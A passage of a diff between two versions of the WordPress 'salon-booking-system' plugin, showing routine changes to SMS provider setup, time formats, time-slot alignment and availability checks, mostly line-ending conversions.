SLN_Action_Sms_Abstract\n+\t * @throws Exception\n+\t *\u002F\n+\tpublic static function getService($key, SLN_Plugin $plugin) {\n+\t\t$name = self::getServiceName($key);\n+\n+\t\treturn new $name($plugin, $key, self::getLabel($key));\n+\t}\n+\n+\tpublic static function getServiceName($key) {\n+\t\tif (!isset(self::$classes[$key])) {\n+\t\t\tthrow new Exception(sprintf('provider \"%s\" not found', esc_html($key)));\n+\t\t}\n+\n+\t\treturn self::$classes[$key];\n+\t}\n+\n+\tpublic static function init() {\n+\t\tself::$labels = array(\n+\t\t\t'fake' => __('test (sms sent by email to the admin)', 'salon-booking-system'),\n+\t\t\t'ip1smsv2' => 'IP1SMS (API V2)',\n+\t\t\t'ip1smswebservice' => 'IP1SMS Webservice\u002FSOAP (DEPRECATED - Migrate to API V2)',\n+\t\t\t'ip1smshttp' => 'IP1SMS HTTP (DEPRECATED - Migrate to API V2)',\n+\t\t\t'twilio' => 'Twilio',\n+\t\t\t'plivo' => 'Plivo',\n+\t\t);\n+\t\tdo_action('sln.sms_provider.init');\n+\t}\n+\n+\tpublic static function addService($key, $label, $class) {\n+\t\tself::$labels[$key] = $label;\n+\t\tself::$classes[$key] = $class;\n+\t}\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FTimeFormat.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FTimeFormat.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FTimeFormat.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FTimeFormat.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,45 +1,45 @@\n-\u003C?php\r\n-\r\n-class SLN_Enum_TimeFormat extends SLN_Enum_AbstractEnum\r\n-{\r\n-    const _DEFAULT = 'default';\r\n-    const _SHORT   = 'short';\r\n-\r\n-    protected static $labels = array();\r\n-    private static $phpFormats = array(\r\n-        self::_DEFAULT => 'H:i',\r\n-        self::_SHORT => 'g:ia',\r\n-    );\r\n-    #http:\u002F\u002Fwww.malot.fr\u002Fbootstrap-datetimepicker\u002F#options\r\n-    private static $jsFormats = array(\r\n-        self::_DEFAULT => 'hh:ii',\r\n-        self::_SHORT => 'H:iip'\r\n-    );\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        return self::getLabels();\r\n-    }\r\n-\r\n-    public static function getLabel($key)\r\n-    {\r\n-        $labels = self::getLabels();\r\n-        return isset($labels[$key]) ? $labels[$key] : $labels[self::_DEFAULT];\r\n-    }\r\n-    public static function getPhpFormat($key)\r\n-    {\r\n-        return isset(self::$phpFormats[$key]) ? self::$phpFormats[$key] : self::$phpFormats[self::_DEFAULT];\r\n-    }\r\n-    public static function getJsFormat($key)\r\n-    {\r\n-        return isset(self::$jsFormats[$key]) ? self::$jsFormats[$key] : self::$jsFormats[self::_DEFAULT];\r\n-    }\r\n-\r\n-    public static function init()\r\n-    {\r\n-        $d = time();\r\n-        foreach(self::$phpFormats as $k => $v){\r\n-            self::$labels[$k] = SLN_TimeFunc::translateDate($v,$d); \r\n-        }\r\n-    }\r\n+\u003C?php\n+\n+class SLN_Enum_TimeFormat extends SLN_Enum_AbstractEnum\n+{\n+    const _DEFAULT = 'default';\n+    const _SHORT   = 'short';\n+\n+    protected static $labels = array();\n+    private static $phpFormats = array(\n+        self::_DEFAULT => 'H:i',\n+        self::_SHORT => 'g:ia',\n+    );\n+    #http:\u002F\u002Fwww.malot.fr\u002Fbootstrap-datetimepicker\u002F#options\n+    private static $jsFormats = array(\n+        self::_DEFAULT => 'hh:ii',\n+        self::_SHORT => 'H:iip'\n+    );\n+\n+    public static function toArray()\n+    {\n+        return self::getLabels();\n+    }\n+\n+    public static function getLabel($key)\n+    {\n+        $labels = self::getLabels();\n+        return isset($labels[$key]) ? $labels[$key] : $labels[self::_DEFAULT];\n+    }\n+    public static function getPhpFormat($key)\n+    {\n+        return isset(self::$phpFormats[$key]) ? self::$phpFormats[$key] : self::$phpFormats[self::_DEFAULT];\n+    }\n+    public static function getJsFormat($key)\n+    {\n+        return isset(self::$jsFormats[$key]) ? self::$jsFormats[$key] : self::$jsFormats[self::_DEFAULT];\n+    }\n+\n+    public static function init()\n+    {\n+        $d = time();\n+        foreach(self::$phpFormats as $k => $v){\n+            self::$labels[$k] = SLN_TimeFunc::translateDate($v,$d); \n+        }\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FFunc.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FFunc.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FFunc.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FFunc.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -300,6 +300,32 @@\n         }\n     } \n \n+    \u002F**\n+     * Return the smallest standard alignment interval (in minutes) that is >= the given duration.\n+     *\n+     * Used by the \"Auto-align time slots\" feature to determine which time slots to display\n+     * when a service has a fixed duration. A 70-minute service aligns to 75-minute slots,\n+     * a 60-minute service aligns to 60-minute slots, etc.\n+     *\n+     * Valid intervals cover 30 min → 4 hours in common salon increments.\n+     * Services \u003C 30 min are excluded by callers; this method still returns 30 as a floor.\n+     *\n+     * @param int $durationMinutes Service duration in minutes.\n+     * @return int Alignment interval in minutes.\n+     *\u002F\n+    public static function getAutoAlignInterval($durationMinutes)\n+    {\n+        $validIntervals = array(30, 45, 60, 75, 90, 105, 120, 135, 150, 180, 210, 240);\n+\n+        foreach ($validIntervals as $interval) {\n+            if ($durationMinutes \u003C= $interval) {\n+                return $interval;\n+            }\n+        }\n+\n+        return 240;\n+    }\n+\n     public static function convertToHoursMins($time, $format = '%02d:%02d')\n     {\n         settype($time, 'integer');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FBasic\u002FDayBookings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FBasic\u002FDayBookings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FBasic\u002FDayBookings.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FBasic\u002FDayBookings.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,110 +1,110 @@\n-\u003C?php\r\n-\r\n-class SLN_Helper_Availability_Basic_DayBookings extends SLN_Helper_Availability_AbstractDayBookings\r\n-{\r\n-\r\n-    \u002F**\r\n-     * @return DateTime\r\n-     *\u002F\r\n-    public function getTime($hour = null, $minutes = null) {\r\n-        $now = clone $this->getDate();\r\n-        $now->setTime($hour, $minutes ? $minutes : 0);\r\n-\r\n-        return $now;\r\n-    }\r\n-\r\n-    protected function buildTimeslots() {\r\n-        \u002F\u002F PERFORMANCE OPTIMIZATION: Check cache first with callback pattern\r\n-        \u002F\u002F Reference: PERFORMANCE_OPTIMIZATION_ANALYSIS.md - Issue #2\r\n-        \u002F\u002F Impact: 100x faster on subsequent checks\r\n-        $cached = SLN_Helper_Availability_Cache::getOrBuildTimeslots(\r\n-            $this->getDate(),\r\n-            $this->currentBooking,\r\n-            function() {\r\n-                \u002F\u002F This callback only executes on cache MISS\r\n-                return $this->buildTimeslotsInternal();\r\n-            }\r\n-        );\r\n-        \r\n-        return $cached;\r\n-    }\r\n-    \r\n-    \u002F**\r\n-     * Internal method to build timeslots when cache misses\r\n-     * @return array\r\n-     *\u002F\r\n-    private function buildTimeslotsInternal()\r\n-    {\r\n-        $ret = array();\r\n-        $formattedDate = $this->getDate()->format('Y-m-d');\r\n-\r\n-        foreach($this->minutesIntervals as $t) {\r\n-            $ret[$t] = array('booking' => array(), 'service' => array(), 'attendant' => array(),'holidays' => array());\r\n-            if($this->holidays){\r\n-                foreach ($this->holidays as $holiday){\r\n-                    $hData = $holiday->getData();\r\n-                    if( !$holiday->isValidTime($formattedDate.' '.$t)) $ret[$t]['holidays'][] = $hData;\r\n-                }\r\n-            }\r\n-        }\r\n-\r\n-        \u002F** @var SLN_Wrapper_Booking[] $bookings *\u002F\r\n-        $bookings = apply_filters('sln_build_timeslots_bookings_list', $this->bookings, $this->date, $this->currentBooking);\r\n-        foreach($bookings as $booking) {\r\n-            $time = $booking->getStartsAt()->format('H:i');\r\n-\t    if (apply_filters('sln_build_timeslots_add_booking_to_timeslot', true, $time, $booking, $this->bookings)) {\r\n-\t\t$ret[$time]['booking'][] = $booking->getId();\r\n-\t    }\r\n-            $bookingServices = $booking->getBookingServices();\r\n-            foreach ($bookingServices->getItems() as $bookingService) {\r\n-\t\tif ($bookingService->getService() && apply_filters('sln_build_timeslots_add_service_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\r\n-                    @$ret[$time]['service'][$bookingService->getService()->getId()] ++;\r\n-                }\r\n-                if($bookingService->getAttendant() && @!is_array($bookingService->getAttendant())){\r\n-                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\r\n-                        @$ret[$time]['attendant'][$bookingService->getAttendant()->getId()]++;\r\n-                        @$ret[$time]['attendant_service'][$bookingService->getAttendant()->getId()][] = $bookingService->getService()->getId();\r\n-                    }\r\n-                }elseif($bookingService->getAttendant() && @is_array($bookingService->getAttendant())){\r\n-                    $service = $bookingService->getService();\r\n-                    foreach($bookingService->getAttendant() as $attendant){\r\n-                        if($service && $attendant && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)){\r\n-                            @$ret[$time]['attendant'][$attendant->getId()]++;\r\n-                            @$ret[$time]['attendant_service'][$attendant->getId()][] = $service->getId();\r\n-                        }\r\n-                    }\r\n-                }\r\n-\t\tif (!empty($bookingService->getResource()) && apply_filters('sln_build_timeslots_add_resource_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\r\n-                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\r\n-                        @$ret[$time]['resource'][$bookingService->getResource()->getId()] ++;\r\n-                        @$ret[$time]['resource_service'][$bookingService->getResource()->getId()][] = $bookingService->getService()->getId();\r\n-                    }\r\n-                }\r\n-            }\r\n-        }\r\n-\r\n-        $bookings = $this->allBookings;\r\n-        foreach($bookings as $booking) {\r\n-            $time = $booking->getStartsAt()->format('H:i');\r\n-            $bookingServices = $booking->getBookingServices();\r\n-            foreach ($bookingServices->getItems() as $bookingService) {\r\n-                if($bookingService->getAttendant() && @!is_array($bookingService->getAttendant())){\r\n-                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\r\n-                        @$ret[$time]['attendant'][$bookingService->getAttendant()->getId()]++;\r\n-                        @$ret[$time]['attendant_service'][$bookingService->getAttendant()->getId()][] = $bookingService->getService()->getId();\r\n-                    }\r\n-                }elseif($bookingService->getAttendant() && @is_array($bookingService->getAttendant())){\r\n-                    $service = $bookingService->getService();\r\n-                    foreach($bookingService->getAttendant() as $attendant){\r\n-                        if($service && $attendant && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)){\r\n-                            @$ret[$time]['attendant'][$attendant->getId()]++;\r\n-                            @$ret[$time]['attendant_service'][$attendant->getId()][] = $service->getId();\r\n-                        }\r\n-                    }\r\n-                }\r\n-            }\r\n-        }\r\n-        \r\n-        return $ret;\r\n-    }\r\n-}\r\n+\u003C?php\n+\n+class SLN_Helper_Availability_Basic_DayBookings extends SLN_Helper_Availability_AbstractDayBookings\n+{\n+\n+    \u002F**\n+     * @return DateTime\n+     *\u002F\n+    public function getTime($hour = null, $minutes = null) {\n+        $now = clone $this->getDate();\n+        $now->setTime($hour, $minutes ? $minutes : 0);\n+\n+        return $now;\n+    }\n+\n+    protected function buildTimeslots() {\n+        \u002F\u002F PERFORMANCE OPTIMIZATION: Check cache first with callback pattern\n+        \u002F\u002F Reference: PERFORMANCE_OPTIMIZATION_ANALYSIS.md - Issue #2\n+        \u002F\u002F Impact: 100x faster on subsequent checks\n+        $cached = SLN_Helper_Availability_Cache::getOrBuildTimeslots(\n+            $this->getDate(),\n+            $this->currentBooking,\n+            function() {\n+                \u002F\u002F This callback only executes on cache MISS\n+                return $this->buildTimeslotsInternal();\n+            }\n+        );\n+        \n+        return $cached;\n+    }\n+    \n+    \u002F**\n+     * Internal method to build timeslots when cache misses\n+     * @return array\n+     *\u002F\n+    private function buildTimeslotsInternal()\n+    {\n+        $ret = array();\n+        $formattedDate = $this->getDate()->format('Y-m-d');\n+\n+        foreach($this->minutesIntervals as $t) {\n+            $ret[$t] = array('booking' => array(), 'service' => array(), 'attendant' => array(),'holidays' => array());\n+            if($this->holidays){\n+                foreach ($this->holidays as $holiday){\n+                    $hData = $holiday->getData();\n+                    if( !$holiday->isValidTime($formattedDate.' '.$t)) $ret[$t]['holidays'][] = $hData;\n+                }\n+            }\n+        }\n+\n+        \u002F** @var SLN_Wrapper_Booking[] $bookings *\u002F\n+        $bookings = apply_filters('sln_build_timeslots_bookings_list', $this->bookings, $this->date, $this->currentBooking);\n+        foreach($bookings as $booking) {\n+            $time = $booking->getStartsAt()->format('H:i');\n+\t    if (apply_filters('sln_build_timeslots_add_booking_to_timeslot', true, $time, $booking, $this->bookings)) {\n+\t\t$ret[$time]['booking'][] = $booking->getId();\n+\t    }\n+            $bookingServices = $booking->getBookingServices();\n+            foreach ($bookingServices->getItems() as $bookingService) {\n+\t\tif ($bookingService->getService() && apply_filters('sln_build_timeslots_add_service_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\n+                    @$ret[$time]['service'][$bookingService->getService()->getId()] ++;\n+                }\n+                if($bookingService->getAttendant() && @!is_array($bookingService->getAttendant())){\n+                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\n+                        @$ret[$time]['attendant'][$bookingService->getAttendant()->getId()]++;\n+                        @$ret[$time]['attendant_service'][$bookingService->getAttendant()->getId()][] = $bookingService->getService()->getId();\n+                    }\n+                }elseif($bookingService->getAttendant() && @is_array($bookingService->getAttendant())){\n+                    $service = $bookingService->getService();\n+                    foreach($bookingService->getAttendant() as $attendant){\n+                        if($service && $attendant && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)){\n+                            @$ret[$time]['attendant'][$attendant->getId()]++;\n+                            @$ret[$time]['attendant_service'][$attendant->getId()][] = $service->getId();\n+                        }\n+                    }\n+                }\n+\t\tif (!empty($bookingService->getResource()) && apply_filters('sln_build_timeslots_add_resource_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\n+                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\n+                        @$ret[$time]['resource'][$bookingService->getResource()->getId()] ++;\n+                        @$ret[$time]['resource_service'][$bookingService->getResource()->getId()][] = $bookingService->getService()->getId();\n+                    }\n+                }\n+            }\n+        }\n+\n+        $bookings = $this->allBookings;\n+        foreach($bookings as $booking) {\n+            $time = $booking->getStartsAt()->format('H:i');\n+            $bookingServices = $booking->getBookingServices();\n+            foreach ($bookingServices->getItems() as $bookingService) {\n+                if($bookingService->getAttendant() && @!is_array($bookingService->getAttendant())){\n+                    if ($bookingService->getService() && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)) {\n+                        @$ret[$time]['attendant'][$bookingService->getAttendant()->getId()]++;\n+                        @$ret[$time]['attendant_service'][$bookingService->getAttendant()->getId()][] = $bookingService->getService()->getId();\n+                    }\n+                }elseif($bookingService->getAttendant() && @is_array($bookingService->getAttendant())){\n+                    $service = $bookingService->getService();\n+                    foreach($bookingService->getAttendant() as $attendant){\n+                        if($service && $attendant && apply_filters('sln_build_timeslots_add_attendant_to_timeslot', true, $time, $bookingService, $booking, $this->bookings)){\n+                            @$ret[$time]['attendant'][$attendant->getId()]++;\n+                            @$ret[$time]['attendant_service'][$attendant->getId()][] = $service->getId();\n+                        }\n+                    }\n+                }\n+            }\n+        }\n+        \n+        return $ret;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityFuncs.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityFuncs.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityFuncs.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityFuncs.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,5 +1,5 @@\n-\u003C?php\r\n-\r\n-class SLN_Helper_AvailabilityFuncs\r\n-{\r\n+\u003C?php\n+\n+class SLN_Helper_AvailabilityFuncs\n+{\n } \n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItemNull.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItemNull.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItemNull.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailabilityItemNull.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,28 +1,28 @@\n-\u003C?php\r\n-\r\n-use Salon\\Util\\Date;\r\n-use Salon\\Util\\Time;\r\n-use Salon\\Util\\TimeInterval;\r\n-\r\n-class SLN_Helper_AvailabilityItemNull extends SLN_Helper_AvailabilityItem\r\n-{\r\n-    public function isValidDate( Date $date, SLN_Wrapper_ServiceInterface $service=null)\r\n-    {\r\n-        return true;\r\n-    }\r\n-\r\n-    public function isValidTime( Time $time, SLN_Wrapper_ServiceInterface $service=null)\r\n-    {\r\n-        return true;\r\n-    }\r\n-\r\n-    public function isValidTimeInterval( TimeInterval $interval)\r\n-    {\r\n-        return true;\r\n-    }\r\n-\r\n-    public function __toString()\r\n-    {\r\n-        return 'Follow general timetable';\r\n-    }\r\n-}\r\n+\u003C?php\n+\n+use Salon\\Util\\Date;\n+use Salon\\Util\\Time;\n+use Salon\\Util\\TimeInterval;\n+\n+class SLN_Helper_AvailabilityItemNull extends SLN_Helper_AvailabilityItem\n+{\n+    public function isValidDate( Date $date, SLN_Wrapper_ServiceInterface $service=null)\n+    {\n+        return true;\n+    }\n+\n+    public function isValidTime( Time $time, SLN_Wrapper_ServiceInterface $service=null)\n+    {\n+        return true;\n+    }\n+\n+    public function isValidTimeInterval( TimeInterval $interval)\n+    {\n+        return true;\n+    }\n+\n+    public function __toString()\n+    {\n+        return 'Follow general timetable';\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -130,7 +130,7 @@\n \n         return $ret;\n     }\n-\n+    \n     public function getTimes(Date $date)\n     {\n         $ret = array();\n@@ -338,6 +338,9 @@\n         if($duration && $times && $attendant->isNotAvailableOnDateDuration($times[0], $duration, $service)) {\n             return SLN_Helper_Availability_ErrorHelper::doAttendantNotAvailable($attendant, $times[0]);\n         }\n+        if (empty($times)) {\n+            return $this->validateAttendantOnTime($attendant, new SLN_DateTime($startAt->format('Y-m-d H:i:s')), $service);\n+        }\n         foreach ($times as $time) {\n             $b = $this->getDayBookings();\n             $bTime = $b->getTime($time->format('H'), $time->format('i'));\n@@ -415,6 +418,12 @@\n             if($duration && $times && $attendant->isNotAvailableOnDateDuration($times[0], $duration, $service)) {\n                 return SLN_Helper_Availability_ErrorHelper::doAttendantNotAvailable($attendant, $times[0]);\n             }\n+            if (empty($times)) {\n+                if ($ret = $this->validateAttendantOnTime($attendant, new SLN_DateTime($startAt->format('Y-m-d H:i:s')), $service)) {\n+                    return $ret;\n+                }\n+                continue;\n+            }\n             foreach ($times as $time) {\n                 $b = $this->getDayBookings();\n                 $bTime = $b->getTime($time->format('H'), $time->format('i'));\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FIntervals.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FIntervals.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FHelper\u002FIntervals.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FHelper\u002FIntervals.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,317 +1,376 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.NonceVerification.Recommended\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.ValidatedSanitizedInput.MissingUnslash\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\r\n-\r\n-use Salon\\Util\\Date;\r\n-use Salon\\Util\\Time;\r\n-\r\n-class SLN_Helper_Intervals\r\n-{\r\n-    \u002F** @var  SLN_Helper_Availability *\u002F\r\n-    protected $availabilityHelper;\r\n-    protected $initialDate;\r\n-    protected $suggestedDate;\r\n-\r\n-    protected $times;\r\n-    protected $years;\r\n-    protected $months;\r\n-    protected $days;\r\n-    protected $dates;\r\n-    protected $fullDays  = array();\r\n-    protected $workTimes = array();\r\n-\r\n-    public function __construct(SLN_Helper_Availability $availabilityHelper)\r\n-    {\r\n-        $this->availabilityHelper = $availabilityHelper;\r\n-    }\r\n-\r\n-    public function setDatetime(DateTime $date, $duration = null)\r\n-    {\r\n-        $this->initialDate = $this->bindInitialDate($date);\r\n-        $ah                = $this->availabilityHelper;\r\n-        $times             = $ah->getCachedTimes(Date::create($date), $duration);\r\n-        $interval          = $ah->getHoursBeforeHelper();\r\n-        $to                = $interval->getToDate();\r\n-        $clone             = clone $date;\r\n-        $dateDiff = $to->diff($date);\r\n-        if($dateDiff->y > 10){\r\n-            $date->modify(($dateDiff->invert ? '+' : '-'). ($dateDiff->y - 10 ). ' years');\r\n-        }\r\n-        while (empty($times) && $date \u003C= $to) {\r\n-            $this->fullDays[] = clone $date;\r\n-            $date->modify('+1 days');\r\n-            $times = $ah->getCachedTimes( Date::create($date), $duration);\r\n-        }\r\n-        if (empty($times)) {\r\n-            $date = $clone;\r\n-            $from = $interval->getFromDate();\r\n-            while (empty($times) && $date >= $from) {\r\n-                $this->fullDays[] = clone $date;\r\n-                $date->modify('-1 days');\r\n-                $times = $ah->getCachedTimes(Date::create($date), $duration);\r\n-            }\r\n-        }\r\n-        if ($duration) {\r\n-            $originalTimes = $times;\r\n-            \u002F\u002F Check if any service allows nested bookings (per-service setting)\r\n-            \u002F\u002F If yes, include break slots; otherwise use strict duration filtering\r\n-            $times = $this->filterTimesByDurationWithBreakAllowance($times, $duration);\r\n-            SLN_Helper_AvailabilityDebugger::logFilteredTimes($originalTimes, $times, 'Duration + Break Allowance Filter');\r\n-        }\r\n-\r\n-        SLN_Helper_AvailabilityDebugger::logAvailableTimes($times, 'After all filtering');\r\n-        $this->times   = $times;\r\n-        $suggestedTime = $date->format('H:i');\r\n-        \r\n-        \u002F\u002F FIX: SuggestedDate 2026 Bug - Replace buggy loop that advances date\r\n-        \u002F\u002F If suggested time is not in available times array, pick first available time\r\n-        \u002F\u002F This prevents date advancement bug that occurred after 86400 iterations\r\n-        if(!isset($times[$suggestedTime])){\r\n-            \u002F\u002F Safety check: if no times available, keep current time\r\n-            \u002F\u002F CheckDateAlt will handle moving to next available day\r\n-            if (!empty($times)) {\r\n-                \u002F\u002F Pick the first available time from the times array\r\n-                \u002F\u002F This ensures we only use validated, available times\r\n-                reset($times);\r\n-                $firstAvailableTime = key($times);\r\n-                \r\n-                \u002F\u002F Parse time safely and update the date object\r\n-                if ($firstAvailableTime !== null) {\r\n-                    $timeParts = explode(':', $firstAvailableTime);\r\n-                    if (count($timeParts) === 2) {\r\n-                        $date->setTime((int)$timeParts[0], (int)$timeParts[1], 0);\r\n-                    }\r\n-                }\r\n-            }\r\n-            \u002F\u002F If $times is empty, do nothing - CheckDateAlt will handle it\r\n-        }\r\n-        $this->suggestedDate = $date;\r\n-        $this->bindDates($ah->getCachedDays());\r\n-        ksort($this->times);\r\n-        ksort($this->years);\r\n-        ksort($this->days);\r\n-        ksort($this->months);\r\n-\r\n-        $this->workTimes = $ah->getWorkTimes(Date::create($date));\r\n-        $this->interval = $ah->getInterval();\r\n-    }\r\n-\r\n-    public function bindInitialDate($date)\r\n-    {\r\n-        $from = $this->availabilityHelper->getHoursBeforeHelper()->getFromDate();\r\n-        if ($date \u003C $from) {\r\n-            $date = $from;\r\n-        }\r\n-\r\n-        return $date;\r\n-    }\r\n-\r\n-    private function bindDates($dates)\r\n-    {\r\n-        $this->years  = array();\r\n-        $this->months = array();\r\n-        $this->days   = array();\r\n-        $this->dates  = array();\r\n-        $checkDay     = $this->suggestedDate->format('Y-m-');\r\n-        $checkMonth   = $this->suggestedDate->format('Y-');\r\n-        foreach ($dates as $date) {\r\n-            list($year, $month, $day) = explode('-', $date->getDateTime()->format('Y-m-d'));\r\n-            $this->years[$year] = $date;\r\n-            if (strpos($date->getDateTime()->format('Y-m-d'), $checkMonth) === 0) {\r\n-                $this->months[$month] = $date;\r\n-            }\r\n-            if (strpos($date->getDateTime()->format('Y-m-d'), $checkDay) === 0) {\r\n-                $this->days[$day] = $date;\r\n-            }\r\n-            $this->dates[] = $date;\r\n-        }\r\n-        ksort($this->years);\r\n-        ksort($this->months);\r\n-        ksort($this->days);\r\n-    }\r\n-\r\n-    public function toArray($timezone = '')\r\n-    {\r\n-        $f = SLN_plugin::getInstance()->format();\r\n-\r\n-        $suggestedDate = $timezone ? $this->suggestedDate->setTimezone(SLN_Func::createDateTimeZone($timezone)) : $this->suggestedDate;\r\n-\r\n-        $times = array();\r\n-        $currentTime = (new 